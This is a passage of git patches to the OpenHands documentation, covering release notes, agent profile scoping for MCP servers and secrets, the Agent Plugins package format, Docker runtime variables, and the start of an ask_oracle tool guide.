From 703b0426dbdfc84c9d6fc51c3a27528907c0c70e Mon Sep 17 00:00:00 2001 From: OpenHands Bot Date: Thu, 17 Sep 2026 10:39:54 -0400 Subject: [PATCH 01/97] docs: update documentation for OpenHands v1.19.0 (#807) - Add release notes for v1.19.0 - Document MCP server scoping for agent profiles (mcp_server_refs) - Document automation disablement reason banner - Add note on Azure DevOps SSH remote URL support - Add cross-reference from MCP overview to agent profiles - Register v1.19.0 release notes in docs.json Co-authored-by: openhands --- docs.json | 1 + enterprise/integrations/azure-devops.mdx | 2 +- .../usage/agent-canvas/agent-profiles.mdx | 16 ++++++++++ .../agent-canvas/managing-automations.mdx | 9 ++++++ .../agent-canvas/release-notes/v1.19.0.mdx | 29 +++++++++++++++++++ overview/model-context-protocol.mdx | 1 + 6 files changed, 57 insertions(+), 1 deletion(-) create mode 100644 openhands/usage/agent-canvas/release-notes/v1.19.0.mdx diff --git a/docs.json b/docs.json index 133c95ce5..befd4e388 100644 --- a/docs.json +++ b/docs.json @@ -317,6 +317,7 @@ { "group": "Release Notes", "pages": [ + "openhands/usage/agent-canvas/release-notes/v1.19.0", "openhands/usage/agent-canvas/release-notes/v1.18.0", "openhands/usage/agent-canvas/release-notes/v1.17.0", "openhands/usage/agent-canvas/release-notes/v1.16.0", diff --git a/enterprise/integrations/azure-devops.mdx b/enterprise/integrations/azure-devops.mdx index 80e0ceeeb..3fe5e3490 100644 --- a/enterprise/integrations/azure-devops.mdx +++ b/enterprise/integrations/azure-devops.mdx @@ -156,7 +156,7 @@ After signing in, users can select Azure DevOps repositories from the OpenHands repository picker. OpenHands can: - List Azure DevOps projects and repositories available to the signed-in user. -- Clone Azure Repos using the signed-in user's OAuth token. +- Clone Azure Repos using the signed-in user's OAuth token. SSH remote URLs (`git@ssh.dev.azure.com:v3/...`) are also recognized. - Read branch and pull request context. - Create branches and pull requests. - Read and post Azure Repos pull request comments. diff --git a/openhands/usage/agent-canvas/agent-profiles.mdx b/openhands/usage/agent-canvas/agent-profiles.mdx index bb639cdce..c379b7a68 100644 --- a/openhands/usage/agent-canvas/agent-profiles.mdx +++ b/openhands/usage/agent-canvas/agent-profiles.mdx @@ -50,6 +50,22 @@ The OpenHands profile editor includes a **"Let the agent switch LLM profiles"** This toggle is version-gated: it appears only when the connected backend reports agent-server `1.31.0` or later. On older backends (for example, agent-server `1.29.0`–`1.30.x`) the toggle is hidden. +### Scope a Profile to Specific MCP Servers + +An agent profile can be scoped to a subset of configured MCP servers using **MCP server references** (`mcp_server_refs`). When a profile includes MCP server references, only the tools from the referenced MCP servers are available to the agent in conversations that use that profile. + +This is useful when you have multiple MCP servers configured but want a particular profile to access only a subset — for example, restricting a profile to a documentation search server while excluding servers with broader tool access. + +To scope a profile: + +1. Open `Settings > Agent` and edit the agent profile. +2. In the MCP server scoping section, select the MCP servers this profile should access. +3. Save the profile. + +When no MCP server references are set, the profile has access to all configured MCP servers. When references are set, only the selected servers' tools are registered with the agent. + +See also [Model Context Protocol](/overview/model-context-protocol) for an overview of MCP support across OpenHands platforms. + ## ACP Profiles Use an ACP profile when you want Agent Canvas to drive an external coding agent through the Agent Client Protocol. diff --git a/openhands/usage/agent-canvas/managing-automations.mdx b/openhands/usage/agent-canvas/managing-automations.mdx index d73a5aa1c..2671d84ac 100644 --- a/openhands/usage/agent-canvas/managing-automations.mdx +++ b/openhands/usage/agent-canvas/managing-automations.mdx @@ -38,6 +38,15 @@ Use the Activity Log export controls to download run data as CSV or JSON. Both f Toggle an automation on or off from the kebab menu (⋮) on the automation row, or from the detail view. Disabled automations do not fire on their scheduled trigger or in response to events, but their configuration is preserved. +### Disablement reasons + +When an automation is disabled, the detail page shows a banner with a human-readable disablement reason, structured detail, and a timestamp. This helps you understand why an automation stopped running. Common reasons include: + +- **Manually disabled** — A user turned the automation off from the kebab menu or detail view. +- **Permanent dispatch failure** — The automation backend reported a permanent failure that prevented the automation from running. + +The banner displays the reason, any additional structured detail provided by the backend, and the time the disablement occurred. To re-enable an automation, use the toggle in the kebab menu or detail view (cloud backends require manage permissions or that you are the automation's creator). + ## Edit an automation You can edit an automation's name, prompt, model, timeout, and schedule directly in Agent Canvas. On cloud backends, editing requires manage permissions or being the automation's creator. diff --git a/openhands/usage/agent-canvas/release-notes/v1.19.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.19.0.mdx new file mode 100644 index 000000000..af0798374 --- /dev/null +++ b/openhands/usage/agent-canvas/release-notes/v1.19.0.mdx @@ -0,0 +1,29 @@ +--- +title: Agent Canvas 1.19.0 +description: Release notes for Agent Canvas version 1.19.0 +--- + +# Agent Canvas 1.19.0 + +Released September 16, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.19.0). + +## Highlights + +- **MCP server scoping for agent profiles** — Agent profiles can now be scoped to specific MCP servers using `mcp_server_refs`. When a profile is scoped, only the selected MCP servers' tools are available to the agent in that conversation. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). +- **Automation disablement reasons** — The automation detail page now shows a human-readable disablement reason with structured detail and a timestamp. This makes it easy to understand why an automation was disabled, whether manually or due to a permanent dispatch failure. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). +- **GPT-6 Astra model support** — The Codex ACP model picker includes GPT-6 Astra. ACP agent model lists are sourced from the SDK registry, so no additional configuration is required. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents). + +## Improvements and Fixes + +- Azure DevOps SSH remote URLs (`git@ssh.dev.azure.com:v3/...`) are now correctly parsed, so repositories cloned over SSH display the correct name and branch. +- The static server now HTML-escapes injected runtime configuration and sets `Cache-Control: no-store`, fixing an XSS vulnerability. +- The client ACP registry pin is now tied to the agent-server, ensuring ACP provider lists stay in sync. +- The automation bundle-source validator now accepts `plugins/` package directories in catalog bundles. +- SDK bumped to 1.48.0 and automation runtime bumped to 1.12.1. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.19.0) +- [Compare v1.18.0 to v1.19.0](https://github.com/OpenHands/OpenHands/compare/v1.18.0...v1.19.0) diff --git a/overview/model-context-protocol.mdx b/overview/model-context-protocol.mdx index eaebd4443..b98a19fc0 100644 --- a/overview/model-context-protocol.mdx +++ b/overview/model-context-protocol.mdx @@ -57,4 +57,5 @@ When OpenHands starts, it: - **For detailed configuration**: See [MCP Settings](/openhands/usage/settings/mcp-settings) - **For CLI usage**: See [CLI MCP Servers](/openhands/usage/cli/mcp-servers) - **For SDK integration**: See [SDK MCP Guide](/sdk/guides/mcp) +- **For scoping MCP servers to an agent profile in Agent Canvas**: See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles) - **For architecture details**: See [MCP Architecture](/sdk/arch/mcp) \ No newline at end of file From f67c721aa4d076c0e0fe18fc2b7c778a3a2c05af Mon Sep 17 00:00:00 2001 From: OpenHands Bot Date: Thu, 17 Sep 2026 11:16:55 -0400 Subject: [PATCH 02/97] docs: update documentation for OpenHands v1.20.0 (#809) - Add secret scoping section to agent-profiles.mdx (PR #17237) - Add Docker conversation runtime forwarding to environment-variables.mdx (PR #17462) - Add agent profile selection for automations to prebuilt-automations.mdx (PR #17396) - Create v1.20.0 release notes page - Add v1.20.0 to docs.json navigation Co-authored-by: openhands Co-authored-by: Devin --- docs.json | 1 + .../usage/agent-canvas/agent-profiles.mdx | 14 ++++++++++ .../agent-canvas/prebuilt-automations.mdx | 13 ++++++++++ .../agent-canvas/release-notes/v1.20.0.mdx | 26 +++++++++++++++++++ openhands/usage/environment-variables.mdx | 17 ++++++++++++ 5 files changed, 71 insertions(+) create mode 100644 openhands/usage/agent-canvas/release-notes/v1.20.0.mdx diff --git a/docs.json b/docs.json index befd4e388..53980be72 100644 --- a/docs.json +++ b/docs.json @@ -317,6 +317,7 @@ { "group": "Release Notes", "pages": [ + "openhands/usage/agent-canvas/release-notes/v1.20.0", "openhands/usage/agent-canvas/release-notes/v1.19.0", "openhands/usage/agent-canvas/release-notes/v1.18.0", "openhands/usage/agent-canvas/release-notes/v1.17.0", diff --git a/openhands/usage/agent-canvas/agent-profiles.mdx b/openhands/usage/agent-canvas/agent-profiles.mdx index c379b7a68..6f421d491 100644 --- a/openhands/usage/agent-canvas/agent-profiles.mdx +++ b/openhands/usage/agent-canvas/agent-profiles.mdx @@ -38,6 +38,20 @@ Before starting a conversation, you can open the `+` tools menu in the chat laun The LLM Model selector always remains visible in the chat launcher and allows you to select from any available LLM that the current Agent Profile supports. Once a conversation is started with an Agent Profile you are unable to switch to a different Agent Profile during the conversation. +## Scope an Agent Profile's Secrets + +When the connected Agent Server advertises the `profile_secret_scope_v1` capability, the profile editor in `Settings > Agent` includes a **secret scope** picker for OpenHands and ACP profiles. Use it to control which saved secrets a profile can access: + +- **All** — the profile can access every saved secret (default for existing profiles). +- **None** — the profile cannot access any saved secrets. +- **Selected** — choose specific secret names from the list of saved secrets. + +Secret references that no longer exist (for example, a secret that was deleted after being selected) are preserved in the profile rather than silently removed. This prevents an unrelated edit from widening or narrowing the profile's secret access. + +Agent Server is the sole enforcement point for secret scoping. Canvas only stores the profile's secret scope selection; it does not perform client-side secret filtering. + +On Agent Servers that do not advertise `profile_secret_scope_v1`, the picker is hidden and profiles remain unrestricted. + ## OpenHands Profiles Use an OpenHands profile when you want Agent Canvas to run the built-in OpenHands agent. diff --git a/openhands/usage/agent-canvas/prebuilt-automations.mdx b/openhands/usage/agent-canvas/prebuilt-automations.mdx index 91ef67f80..f57923138 100644 --- a/openhands/usage/agent-canvas/prebuilt-automations.mdx +++ b/openhands/usage/agent-canvas/prebuilt-automations.mdx @@ -55,3 +55,16 @@ Automations run against the active backend. Use [Manage Backends](/openhands/usa Open an automation, select `Edit`, and use the `LLM profile` dropdown to change which saved profile future runs use. If an automation already has a profile, the edit dialog pre-selects it. Changing the LLM profile affects future automation runs. It does not rewrite previous run history. + +## Select an Agent Profile for an Automation + +When the active backend advertises agent-profile support, the automation setup and edit dialogs include an optional **agent profile** selector. Choose a saved agent profile to use for automation runs instead of the default agent. + +When a saved agent profile is selected: + +- The stable `agent_profile_id` identifies the profile sent to the backend. +- The automation uses the selected agent profile instead of an LLM profile. Editing an automation clears any existing legacy model selection. + +If a previously selected agent profile has been deleted, it remains visible in the selector rather than silently switching to another profile. This lets you review the configuration before choosing a replacement. + +The agent profile selector appears only on backends that support agent profiles. On backends without agent-profile support, only the LLM profile dropdown is available. diff --git a/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx new file mode 100644 index 000000000..443410859 --- /dev/null +++ b/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx @@ -0,0 +1,26 @@ +--- +title: Agent Canvas 1.20.0 +description: Release notes for Agent Canvas version 1.20.0 +--- + +# Agent Canvas 1.20.0 + +Released September 17, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.20.0). + +## Highlights + +- **Agent profile secret scoping** — Choose which saved secrets an agent profile can access (all, none, or selected names) from the profile editor in `Settings > Agent`. The control appears when Agent Server advertises the `profile_secret_scope_v1` capability. Deleted secret references are preserved rather than silently removed. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). +- **Docker conversation runtime forwarding** — Canvas now forwards six conversation-runtime settings (runtime, image, memory, CPU, PID limits, startup timeout) to its bundled Agent Server when the operator explicitly sets them, enabling `OH_CONVERSATION_RUNTIME=docker` in local Canvas deployments. See [Environment Variables](/openhands/usage/environment-variables). +- **Agent profile selection for automations** — Select a saved agent profile during automation setup and editing when the backend supports agent profiles. The selected profile is sent with `agent_profile_id` and replaces any legacy model selection. Unavailable selections remain visible. See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations). + +## Maintenance + +- Mock-LLM test profiles are isolated from ambient secrets to avoid environment-dependent secret lookups in E2E tests. +- Released agent runtime dependencies bumped: Agent Server 1.49.1, TypeScript client 1.49.1, Automation 1.13.1, Extensions 0.22.1. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.20.0) +- [Compare v1.19.0 to v1.20.0](https://github.com/OpenHands/OpenHands/compare/v1.19.0...v1.20.0) diff --git a/openhands/usage/environment-variables.mdx b/openhands/usage/environment-variables.mdx index 8a7fd1c43..4b8f50a53 100644 --- a/openhands/usage/environment-variables.mdx +++ b/openhands/usage/environment-variables.mdx @@ -150,6 +150,23 @@ These variables correspond to the `[security]` section in `config.toml`: |---------------------|------|---------|-------------| | `SANDBOX_VOLUME_OVERLAYS` | string | `""` | Volume overlay configurations | +### Docker Conversation Runtime (Canvas) + +When running Agent Canvas locally via the `dev-safe.mjs` launcher, Canvas can forward conversation-runtime settings to its bundled Agent Server. This enables `OH_CONVERSATION_RUNTIME=docker`, which runs each conversation in an isolated Docker container instead of the default local process runtime. + +Canvas forwards these settings only when the operator explicitly sets them. Unset values remain absent so Agent Server defaults stay authoritative. + +| Environment Variable | Type | Default | Description | +|---------------------|------|---------|-------------| +| `OH_CONVERSATION_RUNTIME` | string | unset | Conversation runtime type. Set to `docker` to run conversations in Docker containers. | +| `OH_CONVERSATION_IMAGE` | string | unset | Docker image to use for conversation containers. | +| `OH_CONVERSATION_CONTAINER_MEMORY` | string | unset | Memory limit for conversation containers (e.g., `2g`). | +| `OH_CONVERSATION_CONTAINER_CPUS` | string | unset | CPU limit for conversation containers. | +| `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | string | unset | PID limit for conversation containers. | +| `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | string | unset | Startup timeout for conversation containers (seconds). | + +These variables are specific to Canvas's `dev-safe.mjs` launcher and are forwarded to the bundled Agent Server process. Docker provisioning and setting interpretation are handled by Agent Server. + ### Remote Runtime | Environment Variable | Type | Default | Description | |---------------------|------|---------|-------------| From 4a1233c65d37f89998ef9fc5b9829b68ed8aa065 Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Thu, 17 Sep 2026 16:27:58 -0400 Subject: [PATCH 03/97] docs: document Agent Plugins package support (#810) Adds a user-facing page for the portable Agent Plugins 1.0.0 format: format selection, package layout, manifest rules, the skills and mcp.json components with their transports and placeholders, the dev.openhands extension namespace, and the failure boundaries. Cross-linked from the existing plugins page and added to the Product Guides navigation. Co-authored-by: VascoSch92 --- docs.json | 1 + overview/agent-plugins.mdx | 274 +++++++++++++++++++++++++++++++++++++ overview/plugins.mdx | 4 + 3 files changed, 279 insertions(+) create mode 100644 overview/agent-plugins.mdx diff --git a/docs.json b/docs.json index 53980be72..f843dd076 100644 --- a/docs.json +++ b/docs.json @@ -74,6 +74,7 @@ ] }, "overview/plugins", + "overview/agent-plugins", { "group": "Automations", "pages": [ diff --git a/overview/agent-plugins.mdx b/overview/agent-plugins.mdx new file mode 100644 index 000000000..67f57c283 --- /dev/null +++ b/overview/agent-plugins.mdx @@ -0,0 +1,274 @@ +--- +title: Agent Plugins Packages +description: OpenHands loads plugins published in the portable Agent Plugins format, so a single package works across every compatible client. +--- + +[Agent Plugins](https://agent-plugins.org) is a portable packaging format for agent +extensions. A package published in this format carries its skills and MCP server +configuration in fixed, client-neutral locations, so the same directory loads in +OpenHands and in any other compatible client without being rewritten. + +OpenHands supports version 1.0.0 of the specification. This page covers what the +format looks like, which parts of a package OpenHands honours, and how a package +behaves when something in it is invalid. + + + Agent Plugins support ships in `openhands-sdk` 1.50.0 and later. Earlier + versions load a package's root `plugin.json` with the + [OpenHands plugin format](/overview/plugins) instead, which expects its + manifest at `.plugin/plugin.json` and therefore names the plugin after its + directory. + + +## How OpenHands Picks the Format + +OpenHands supports two plugin layouts and chooses between them by looking for a +manifest at the package root: + +| Manifest location | Format used | +|-------------------|-------------| +| `plugin.json` at the package root | Agent Plugins | +| `.plugin/plugin.json` or `.claude-plugin/plugin.json` | [OpenHands / Claude Code](/overview/plugins) | + +A root `plugin.json` takes precedence. Its presence alone decides the format: a +package whose manifest is present but invalid is rejected as an Agent Plugins +package rather than falling back to the other layout. + +## Package Layout + +``` +plugin-name/ +├── plugin.json # Required manifest +├── skills/ # Agent Skills (optional) +│ └── skill-name/ +│ └── SKILL.md +├── mcp.json # MCP servers, no leading dot (optional) +└── dev.openhands/ # OpenHands extensions (optional) + ├── commands/ + ├── agents/ + └── hooks/hooks.json +``` + +Everything except `plugin.json` is optional, and a missing directory is a valid +absence rather than an error. Every path a package refers to must stay inside the +package directory; paths that resolve outside it are refused. + +## Manifest + +`plugin.json` sits at the package root and must declare both `$schema` and +`name`: + +```json +{ + "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", + "name": "code-quality", + "version": "1.2.0", + "description": "Linting and review skills with a code analysis MCP server", + "author": { "name": "Your Team" }, + "homepage": "https://example.com/code-quality", + "repository": "https://github.com/example/code-quality", + "license": "Apache-2.0", + "keywords": ["linting", "review"] +} +``` + +The `$schema` value must be exactly the 1.0.0 plugin schema identifier above. +OpenHands validates the manifest against a vendored copy of that schema and never +fetches it over the network while loading. + +Unknown top-level fields are reported in the logs and ignored. Any other manifest +violation — unparseable JSON, a missing or unrecognized `$schema`, a missing +`name`, a field of the wrong type — stops the package from loading before +component discovery begins. + +## Supported Components + +| Component | Location | Support | +|-----------|----------|---------| +| Skills | `skills/` | Loaded | +| MCP servers | `mcp.json` | Loaded (`stdio` and `streamable-http`) | +| Commands, agents, hooks | `dev.openhands/` | Loaded through the OpenHands extension namespace | + +Component types that the specification does not define, and extension namespaces +belonging to other clients, are ignored without inspecting their contents. + +### Skills + +Each subdirectory of `skills/` holds one skill, defined by a `SKILL.md` file: + +``` +skills/ +├── linting/ +│ ├── SKILL.md +│ └── references/ +│ └── style-guide.md +└── review/ + └── SKILL.md +``` + +Discovery is not recursive: `skills//SKILL.md` defines a skill, while +deeper Markdown files are that skill's own resources. A package with no `skills/` +directory but a `SKILL.md` at its root loads as a single-skill package. + +See [Skills](/overview/skills) for how to write one. + +### MCP Servers + +MCP servers are declared in `mcp.json` at the package root — no leading dot, +unlike the OpenHands format's `.mcp.json`: + +```json +{ + "$schema": "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json", + "mcpServers": { + "analyzer": { + "type": "stdio", + "command": "./bin/analyzer", + "args": ["--state", "${PLUGIN_DATA}/cache"], + "env": { "RULES": "${PLUGIN_ROOT}/rules.toml" } + }, + "registry": { + "type": "streamable-http", + "url": "https://mcp.example.com/registry", + "headers": { "X-Registry-Tier": "standard" } + } + } +} +``` + +OpenHands supports the `stdio` and `streamable-http` transports. An `sse` entry is +reported and skipped: the transport is optional in the specification and +deprecated by MCP itself, so OpenHands declines it rather than silently +substituting another transport. + +Each entry is validated on its own. One invalid or unsupported entry is skipped +while its siblings still load, and a package whose `mcp.json` is invalid as a +whole loads with no MCP servers instead of failing entirely. + +#### Placeholders + +Two placeholders are available: + +| Placeholder | Value | +|-------------|-------| +| `${PLUGIN_ROOT}` | The package's resolved directory | +| `${PLUGIN_DATA}` | A persistent per-package directory OpenHands creates for writable state | + +They are expanded only in `args`, in `env` values, and in `cwd`. Expansion is a +single pass, so text introduced by one replacement is never expanded again, and +any other `${...}` text is passed through literally. `${PLUGIN_DATA}` is keyed to +the package's location, so it survives updates and is never shared with a +same-named package elsewhere. + +For `stdio` servers, OpenHands also sets `PLUGIN_ROOT` and `PLUGIN_DATA` in the +server's environment. A package cannot override either one. + +#### stdio Servers + +`command` is a single executable token, never a shell string. It is either a bare +executable name resolved through the platform's executable search, or a +package-relative path beginning with `./`. Absolute paths, `../` and bare relative +paths are refused. + +`cwd` defaults to the package root. An explicit `cwd` must stay inside the package +root, or inside `${PLUGIN_DATA}` when written relative to it. + +#### streamable-http Servers + +`url` must be an absolute `http(s)` URL with no user information and no fragment. +`https` is required unless the host is a loopback address. + +Header values are sent literally, with no placeholder expansion. Headers that +OpenHands generates itself to implement HTTP and MCP — such as `Host`, +`Content-Length` and `Mcp-Session-Id` — are dropped with a warning if a package +configures them. + +### OpenHands Extensions + +Commands, agents, hooks and an entry command are not part of the portable core, so +OpenHands reads them from its own extension namespace, `dev.openhands`. File-based +components live in a top-level directory of that name: + +``` +dev.openhands/ +├── commands/ +│ └── review.md +├── agents/ +│ └── reviewer.md +└── hooks/ + └── hooks.json +``` + +The layout inside `dev.openhands/` is the same as in the OpenHands plugin format, +so porting a package is a matter of moving those directories rather than rewriting +them. + +An entry command is declared in the manifest under the same namespace: + +```json +{ + "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", + "name": "code-quality", + "extensions": { + "dev.openhands": { + "entry_command": "review" + } + } +} +``` + +Other clients ignore this member, and OpenHands ignores theirs. An unusable value +inside `dev.openhands` is reported and ignored rather than failing the package. + +What these components do is unchanged by the format: see +[Plugin components](/overview/plugins) for commands and agents, and +[Hooks](/openhands/usage/customization/hooks) for the hook contract. + +## Installing a Package + +Agent Plugins packages install exactly like any other OpenHands plugin — from a +local directory or a repository, through the same settings and commands. The +format changes only how a package is laid out, not how it is installed. + + + + Installation paths for every OpenHands surface + + + Browse, install and attach plugins in the UI + + + +## When Something Is Invalid + +Failures are contained as narrowly as the specification allows, so a partly broken +package still contributes what is valid: + +| Problem | Result | +|---------|--------| +| Invalid manifest | The package does not load | +| Unknown top-level manifest field | Reported and ignored | +| Invalid `mcp.json` document | The package loads with no MCP servers | +| Invalid or unsupported MCP entry | That entry is skipped; the others load | +| Invalid skill | That skill is skipped; the others load | +| Unknown component type or extension namespace | Ignored | + +Loading decisions are logged, so the log is the place to look when a component you +expect is missing. + +## Further Reading + + + + The portable format this page implements + + + The `.plugin/` layout and its components + + + Writing and distributing skills + + + Loading plugins programmatically + + diff --git a/overview/plugins.mdx b/overview/plugins.mdx index 1b87cb20f..320f6f0df 100644 --- a/overview/plugins.mdx +++ b/overview/plugins.mdx @@ -18,6 +18,10 @@ A plugin is a directory structure that can contain: The plugin format is compatible with the [Claude Code plugin structure](https://github.com/anthropics/claude-code/tree/main/plugins). Both `.plugin/` (OpenHands-native) and `.claude-plugin/` (Claude Code compatible) directory names are supported for the metadata directory. + +OpenHands also loads packages published in the portable [Agent Plugins](/overview/agent-plugins) format, which places `plugin.json` at the package root instead of in a metadata directory. + + ## Plugins vs Skills Understanding the difference helps you choose the right approach: From 7919cbddd56a718853945ccd036368a52b089a59 Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Sat, 19 Sep 2026 06:45:32 -0400 Subject: [PATCH 04/97] docs: correct the first SDK release with Agent Plugins support (#812) The format is registered in the format registry as of openhands-sdk 1.49.2, not 1.50.0. --- overview/agent-plugins.mdx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/overview/agent-plugins.mdx b/overview/agent-plugins.mdx index 67f57c283..3cafee0b8 100644 --- a/overview/agent-plugins.mdx +++ b/overview/agent-plugins.mdx @@ -13,7 +13,7 @@ format looks like, which parts of a package OpenHands honours, and how a package behaves when something in it is invalid. - Agent Plugins support ships in `openhands-sdk` 1.50.0 and later. Earlier + Agent Plugins support ships in `openhands-sdk` 1.49.2 and later. Earlier versions load a package's root `plugin.json` with the [OpenHands plugin format](/overview/plugins) instead, which expects its manifest at `.plugin/plugin.json` and therefore names the plugin after its From 450c8a64cd81f371a0cf930358fc185448005ee4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sun, 20 Sep 2026 01:25:31 +0200 Subject: [PATCH 05/97] docs: sync llms context files (#798) Co-authored-by: enyst <6080905+enyst@users.noreply.github.com> Co-authored-by: Engel Nyst --- llms-full.txt | 6519 ++++++++++++++++++++++++++++++++++++++++++++++--- llms.txt | 43 +- 2 files changed, 6276 insertions(+), 286 deletions(-) diff --git a/llms-full.txt b/llms-full.txt index 32c7d659b..f6ba8a4ae 100644 --- a/llms-full.txt +++ b/llms-full.txt @@ -37,7 +37,7 @@ Get started with some examples or keep reading to learn more. icon="plug" href="/sdk/guides/agent-server/openai-gateway" > - Access the OpenHands agent via an OpenAI-compatible endpoint for chat UIs, IDEs, voice platforms, and other OpenAI-style clients. + Access the OpenHands agent via OpenAI-compatible Chat Completions and Responses endpoints for chat UIs, IDEs, voice platforms, and other OpenAI-style clients. @@ -6311,7 +6311,7 @@ For full list of implemented workspaces, see the [source code](https://github.co **Features:** - REST API & WebSocket endpoints for conversations, bash, files, events, desktop, and VSCode -- [OpenAI-compatible `/v1/chat/completions` endpoint](/sdk/guides/agent-server/openai-gateway) for clients that expect an OpenAI-style backend +- [OpenAI-compatible `/v1/chat/completions` and `/v1/responses` endpoints](/sdk/guides/agent-server/openai-gateway) for clients that expect an OpenAI-style backend - Service management with isolated per-user sessions - API key authentication and health checking @@ -9216,6 +9216,185 @@ On the agent-server side, the ACP-capable REST surface lives under `/api/acp/con - **[TaskToolSet](/sdk/guides/task-tool-set)** — Compose multiple agents for complex workflows - **[LLM Metrics](/sdk/guides/metrics)** — Track token usage and costs across models +### Ask Oracle +Source: https://docs.openhands.dev/sdk/guides/agent-ask-oracle.md + +import RunExampleCode from "/sdk/shared-snippets/how-to-run-example.mdx"; + +> A ready-to-run example is available [here](#ready-to-run-example)! + +Use `ask_oracle` when an agent should consult a stronger or more specialized +model for a second opinion without switching its active model. + +## When to Use It + +`ask_oracle` is useful when an agent is: + +- Stuck or uncertain about its next step +- Comparing implementation approaches +- Reviewing a risky or difficult decision +- Asked by the user to get a second opinion + +## How It Works + +When the agent calls `ask_oracle`: + +1. The tool loads the saved LLM profile named `oracle`. +2. The Oracle receives a dedicated system prompt and a user message containing + the agent's question and optional context. +3. The Oracle returns a text recommendation to the original agent. +4. The original agent continues the conversation with its existing model. + +The Oracle does not receive the conversation history or any tools. It cannot +modify the workspace directly. Its token usage and cost are included in the +conversation's combined metrics. + + + The tool does not fall back to the agent's active model. If the `oracle` + profile is missing or cannot be loaded, the tool returns an error observation + telling the agent that the Oracle is unavailable. + + +## Configure the Oracle Profile + +The tool resolves its model by convention from a saved LLM profile named +`oracle`. There is no dedicated agent setting for selecting another profile. + +To enable it: + +1. Save a usable LLM configuration under the name `oracle`. See + [LLM Profile Store](/sdk/guides/llm-profile-store). +2. Add `AskOracleTool` to the agent's tools: + +```python icon="python" wrap focus={2, 5} +from openhands.sdk import Agent, Tool +from openhands.tools.ask_oracle import AskOracleTool + +agent = Agent( + llm=primary_llm, + tools=[Tool(name=AskOracleTool.name)], +) +``` + +By default, `LocalConversation` reads profiles from +`~/.openhands/profiles`. If you use a custom profile directory, pass the same +directory to both `LLMProfileStore` and `LocalConversation` through +`profile_store_dir`. + + + Do not place literal API keys in source code. The ready-to-run example reads + its key from the environment and stores the Oracle profile in a temporary + directory, which is removed after the example exits. Follow the + [LLM Profile Store](/sdk/guides/llm-profile-store) guidance when creating a + persistent profile. + + +## Ask Oracle vs. Switch LLM + +`ask_oracle` makes one stateless call to another model and then returns control +to the original agent. It never changes the active conversation model. + +Use `switch_profile()` or the `switch_llm` tool instead when subsequent agent +turns should run on a different saved profile. See +[LLM Profile Store](/sdk/guides/llm-profile-store#mid-conversation-model-switching). + +## Ready-to-run Example + + +This example is available on GitHub: [examples/01_standalone_sdk/58_ask_oracle_tool/main.py](https://github.com/OpenHands/software-agent-sdk/blob/main/examples/01_standalone_sdk/58_ask_oracle_tool/main.py) + + +```python icon="python" expandable examples/01_standalone_sdk/58_ask_oracle_tool/main.py +"""Consult the Oracle end-to-end with the ask_oracle tool. + +The Oracle is a saved LLM profile resolved by convention under the name +``oracle``. This example wires two profiles — the agent's primary model and a +separate ``oracle`` model — adds ``Tool(name="ask_oracle")`` to the agent, then +drives a normal conversation: the agent decides to call ``ask_oracle``, the tool +consults the ``oracle`` profile, and the agent uses the Oracle's answer to reply. + +Usage: + LLM_API_KEY=... LLM_BASE_URL=https://llm-proxy.app.all-hands.dev \ + uv run python examples/01_standalone_sdk/58_ask_oracle_tool/main.py + +Note: + The example saves the ``oracle`` profile in a temporary directory so it + does not modify the user's default profile store. +""" + +import os +import tempfile + +from pydantic import SecretStr + +from openhands.sdk import LLM, Agent, LocalConversation, Tool +from openhands.sdk.llm.llm_profile_store import LLMProfileStore +from openhands.tools.ask_oracle import ORACLE_PROFILE_NAME, AskOracleTool + + +DEFAULT_BASE_URL = "https://llm-proxy.app.all-hands.dev" +# The agent's primary model (follows the standard LLM_MODEL env like other +# examples). The Oracle defaults to the same model; override ASK_ORACLE_MODEL to +# point the "oracle" profile at a different/stronger model. +PRIMARY_MODEL = os.getenv("ASK_ORACLE_PRIMARY_MODEL") or os.getenv( + "LLM_MODEL", "openai/gpt-5.5" +) +ORACLE_MODEL = os.getenv("ASK_ORACLE_MODEL", PRIMARY_MODEL) + +api_key = os.getenv("LLM_API_KEY") +assert api_key is not None, "LLM_API_KEY environment variable is not set." +base_url = os.getenv("LLM_BASE_URL", DEFAULT_BASE_URL) + +with tempfile.TemporaryDirectory() as profile_store_dir: + store = LLMProfileStore(profile_store_dir) + store.save( + ORACLE_PROFILE_NAME, + LLM( + model=ORACLE_MODEL, + api_key=SecretStr(api_key), + base_url=base_url, + usage_id="oracle", + ), + include_secrets=True, + ) + + primary_llm = LLM( + model=PRIMARY_MODEL, + api_key=SecretStr(api_key), + base_url=base_url, + usage_id="primary", + ) + agent = Agent(llm=primary_llm, tools=[Tool(name=AskOracleTool.name)]) + conversation = LocalConversation( + agent=agent, + workspace=os.getcwd(), + profile_store_dir=profile_store_dir, + ) + + print(f"Primary model: {conversation.agent.llm.model}") + print(f"Oracle model: {ORACLE_MODEL}") + conversation.send_message( + "Call the oracle to ask it for its opinion on the weather today, " + "then just tell me in two words how it's like." + ) + conversation.run() + + cost = 